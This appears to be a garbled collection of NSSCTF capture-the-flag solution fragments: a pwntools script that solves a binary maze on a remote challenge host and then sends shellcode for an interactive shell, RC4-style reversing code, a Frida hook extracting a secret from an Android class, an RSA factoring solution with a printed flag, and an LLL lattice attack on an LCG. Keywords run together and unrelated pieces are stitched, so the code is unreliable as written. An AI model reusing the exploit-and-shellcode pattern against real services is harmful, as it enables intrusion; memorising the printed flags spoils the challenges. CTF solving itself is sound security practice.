if start == end: total_path = path[::] print("->".join(map(str, total_path))) print("path len -->", len(total_path)) iflen(total_path) > 1000: print("too long") sys.exit(0) res = ops[::] return res else: for opcode, neighbor in graph[start]: ifnot visited[neighbor]: # 前往这个neighbor ops.append(opcode) res = find_all_paths(graph, neighbor, end, visited, path, ops) if res isnotNone: return res ops.pop()
path.pop() visited[start] = False
defmain(): global xenny_node_idx start_idx = 0 if sys.argv[-1] == "remote": pwnio.io = remote("node6.anna.nssctf.cn", 28629) pwnio.io.recvuntil(b"Here is a xenny in maze , and give you a map :\n") file_code = b64decode(pwnio.io.recvuntil(b"That's all", drop=True).strip().decode()) withopen("./tmp_file", "wb") as f: f.write(file_code) else: pwnio.io = process("./tmp_file") withopen("./tmp_file", "rb") as f: f.read(0x149A) # useless for _ inrange(1000): idx_node_map[start_idx] = Node(start_idx, f.tell()) addr_idx_map[f.tell()] = start_idx # 建立addr和idx的映射关系 tmp_addr = f.tell() f.read(0xe) tmp_code = f.read(0x5) if tmp_code == b'\x3d\xe8\x03\x00\x00': # 找到了调用xenny的函数 print("find --> xenny |", hex(f.tell()), start_idx) f.read(29) xenny_node_idx = start_idx start_idx += 1 continue else: f.seek(tmp_addr) f.read(98) # useless for opcode inrange(1, 12): f.read(5) # useless f.read(1) # call_byte cur_addr = f.tell() call_addr = (u32(f.read(4)) + 4 + cur_addr) & 0xffffffff if opcode != 11: idx_node_map[start_idx].nexts_addr.append([opcode, call_addr]) # 下一个节点的address f.read(3) # useless start_idx += 1
graph_data: Dict[int, List[int]] = {} start_node, end_node = [0, xenny_node_idx] for v in idx_node_map.values(): v.convert() graph_data[v.val] = v.nexts res = find_all_paths(graph_data, start_node, end_node, [False] * (len(graph_data)+1), [], []) res = [0]*(1000-len(res)) + res print(len(res)) for i, v inenumerate(res): if i % 100 == 0: print(i) pwnio.io.sendline(str(v).encode()) # dbg() pwnio.io.recvuntil(b"this is your xenny , and don't forget your flag") context.log_level = "debug" pwnio.io.sendline(exp_shellcode) pwnio.io.interactive()
deffun(msg): key = "Just kidding, don't take it personally!" x = [] for i inrange(len(msg)): x.append(ord(msg[i]) ^ ord(key[i % len(key)])) for i inrange(len(x)): x[i] ^= i return x
defencrypt1(msg, s_box): x = [] i = 0 j = 0 for k inrange(len(msg)): i = (i + 1) % 256 j = (j + s_box[i]) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] t = (s_box[i] + s_box[j]) % 256 x.append(ord(msg[k]) ^ s_box[t]) return x
defencrypt2(msg, s_box, key): x = [] i = 0 j = 0 for k inrange(len(msg)): i = (i + 1) % 256 j = (j + s_box[i]) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] t = (s_box[i] + s_box[j]) % 256 x.append(ord(msg[k]) ^ s_box[t] ^ ord(key[i])) return x
defencrypt(msg, s_box): x = [] i = 0 j = 0 for k inrange(len(msg)): i = (i + 1) % 256 j = (j + s_box[i]) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] t = (s_box[i] + s_box[j]) % 256 x.append(ord(msg[k]) ^ s_box[t] ^ i) return x
if __name__ == '__main__': key = input("Please input your key:") if check(key) == 1: print("Right!") else: print("Wrong!") exit()
Java.perform(function () { // 获取 main 类的引用 varMainClass = Java.use('com.moible.r15.main');
Java.scheduleOnMainThread(function() { // 在主线程上创建 main 类的一个实例 var instance = MainClass.$new();
// 使用这个实例调用 getit 方法 var result = instance.getit('66.666s'); console.log("Result of getit method:", result); }); }); //Result of getit method: 1a74ee530fafa690dcddd0ce38260755
n = 115383855234466224643769657979808398804254899116842846340552518876890834212233960206021018541117724144757264778086129841154749234706140951832603640953383528482125663673926452745186670807057426128028379664506531814550204605131476026038420737951652389070818761739123318769460392218629003518050621137961009397857 c = 5329266956476837379347536739209778690886367516092584944314921220156032648621405214333809779485753073093853063734538746101929825083615077 hint1 = 153580531261794088318480897414037573794615852052189508424770502825730438732573547598712417272036492121110446656514226232815820756435437665617271385368704576530324067841094570337328191161458300549179813432377043779779861066187597784486306748688798924645894867137996446960685210314180286437706545416961668988800 hint2 = 130939024886341321687705945538053996302793777331032277314813607352533647251650781154105954418698306293933779129141987945896277615656019480762879716136830059777341204876905094451068416223212748354774066124134473710638395595420261557771680485834288346221266495706392714094862310009374032975169649227238004805982 from Crypto.Util.number import * from gmpy2 import *
from gmpy2 import * p=gcd(pow(114514,n,n)-hint,n) q=n//p phi=(p-1)*(q-1) d=invert(e,phi) print(long_to_bytes(pow(c,d,n))) #NSSCTF{e713afa4-fcd8-419f-a1a6-959449b4df5a}
LatticeLCG
先求n
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
e= [297332330847212015073434001239859795661, 247136911662054641479463124065475615181, 269964458627145370722389742095701827701, 270745917671094194052444327351021588037, 254010082507930275771798119457499420531, 219178601856077385518322602059961601013, 226562702503988968288128483964146379529, 236756812424464516919183114495913408541, 330800121752029915693039296018980956519, 244800084005240595691424199440981715431, 171753849214889522920105847094773384191, 175843874533972361422410968920873382741, 326554577162848075059517044795930784993, 181842368629269753698222635712342485771, 221634122983362091660188171985742369561, 314244561819808202322467576330355199409, 286703236198397527318161582654787197007, 298101543059628501506668748374542117409, 304158884506393754601331945634109778837, 227577031261920314010408499530794497453] out= [100163998802948218573427220530909801629443946118807841130458771881611961921044413091457977957530737347507311468578174294420439883266450142918647561103714976340598499984679873518770686239019753272419975426555435266764099822607336645955391865380657632176223122712125661464370522088500110746571354290680063421912, 123528268396018633078964378145622645321836134964966941909300627704018826667414656614011250938241127521627117348901416042868382174504514240509791471909819407751786633761392047187057200130450960708049681366686147337178110669163142189940397343388837018627392202704211693014162963133958078984558400205296509955066, 50364974727218716170137342348825758682286710377257708196467656986986475658591351848251278364177715325447140300281348027787487944839878770556527568407280736570303345044999352851718908253510696083227344179177110348363623815158409862985684687329665113210373028159714648637297476014803935686233984711925346269925, 9159042298258514259206302054907530984498816597282237786310355131965025367180505822032135021520906576471052417629425493533222088036674196397387325202128095476044308794426593565419139845832998557280786358482011226957053125314152322427131984411160984485669030286331376124575677908877399942011661647598763754231, 83466948172962290899792524342204996697711370224947233607865306692546824512672969402433314856742908546253967225963904395036102408684746619744412073888614033881366518452878344698289278946024167788789718690655953517892282374396760436658422838909903123439370164929347147855359470889455753772857233516742991766128, 72028057477369331020972407277180913909557985390590548305094935208898254733240351763155769013959589016793318772858662702447133499307826143247356049051993727167694036585280387890126287679890730586145740176250715386149857291210207281073772478229355625725300592003798974298248102432508449566953296818450441875311, 63397152736399466888877444377156185012692670493456346196278062009641363047685720620967313379507212944658351683022480839941265221126018392433078546696140135677499181555082643172378488800458657825640013090182171355299282023794908520172571785687147143015581400891531296496177973817400317905868361800342940667657, 45427004823510815929685208038284324980662968275105063862891077759131069014314933978878667052450145039482242546093735499108826130367476890384431317243013990394189191560941678120985717370542332803012619694821129395559214706968432476548145608291516176910849698455496733056096163035964057523545705356926187216133, 85046100612081858546755294340770681541320509587396377967875404950325314121709046137842413744740490231945105758075761946555179595664901813127463402854440384657046429776033129391138370272524736543471909307910018577738207910417672603889922445435939876023878220177983424547612635006926243055642166274730894301704, 5833380233103086014860892228744764647016585478949686583145531659689295506666493518453642500086277427538189091865461553097914845680665917702500908205558454036911757659426809969367680394533585635383007758339917554453268182491874683638880986360065633842854622244953985055815937671635222264056071882344388307409, 83587615309194701727032548415548847571046191382552371312058083137102227325098839286526833147951063338204327145093831238962818333112251936853329663907079943414231588222256242520221314528944937229985997926851198158564313703719031124442094987245466116488897263358510493905440842917634723859176839440753120904481, 108651960334634726889543063749359050688114025706494125848785084643330096858725917513596985853593252388835207675036982640195609499739937405655156895161071906340785173459426867946058638393154997931747445494284445204735492709747637173698383609764016673932827648159152658645291248613736662020472251048171789274368, 118612010487916657134965416492319303083994743753602531817008130269546146141506819718265549648441671373744766173780682168587021797626910931105508317440664521595783406848956221465897709761805869130021172013000282497881581247777388315282629463546261696169893882772397797722134711444928443061384985458691749569847, 106808406616890955924408992591724627593882118490933791849624747503316110669154243209826761617940864170830792705070618439466645580274835929100331418955890808763286193770831205511071440703609240364726061677822134370309018443508205980554831705850988319397384130044484586798585896460152167042282847992593429629533, 88091869606421350393441194783722851111189272445506506936925797213395319937783082680078622732926273935980894566775394134783157488360516905477700601820480975112122167589887641130656305741351643175495552454293030309247254533571254198691204714097846510872592569447050033289483493274672346210063885124570695832880, 94400859500860667431780782962782396345261822402898708716634581228428633704975879685572548692997007974004673676539496590659276952154740096463133011458100387006276325192223993452314873089466451613079029429327880672384210802191677586975844471189127835578979108767548290181668434770385199468588493042256788539610, 76177813724283720012398394789596589415486093955132688784865364048503447246391866424200071522136707581280434193680972230914105236504028522288780213089260160776489804587209115330412067560802680789338779056583047491942817016437672075192528508677997165703606520158178725128251694801612417667440677124932361973397, 17188209523466762369281362386525396145127294763502094183797065621821932913685690176344514910405677170931795652509426794846131051983826422536084073462084935517166603832542862106287058675490933197600813710203114108790043880150305327523679949543592622443904084453387396870899883324751789625806819506542619123964, 120007173989070249117019147454557020213723707722383599019972471016186584968096445904023372671513462965078400715365736756710078805039115601609874780421117795585342458478316236202328120583456334489780231976628584606042971207759763658961365139429661536955996519512283283500790612975034779837647053750631763512799, 18797057418663411295612229938999282286746920748194349166509084258061650142260043277698907538088835210620841171754186980908772147495732980563542600139935202965632319542217264685208215907551992891370166006725534397313373079841419662622936316343820775075897977228084528246337988431658221881343556854053475137330] length=len(e) x=[] for i in e: x.append(i*2^64) L = Matrix(ZZ,length,length+1) for i inrange(len(e)): L[i,len(e)] = x[i] L[i,i] = 1 L = L.LLL()
n1 = product([ZZ(y) ^ x for x, y inzip(L[1][:-1], out)]) n2 = product([ZZ(y) ^ x for x, y inzip(L[2][:-1], out)]) n = gcd(n1.numer() - n1.denom(), n2.numer() - n2.denom()) print(n)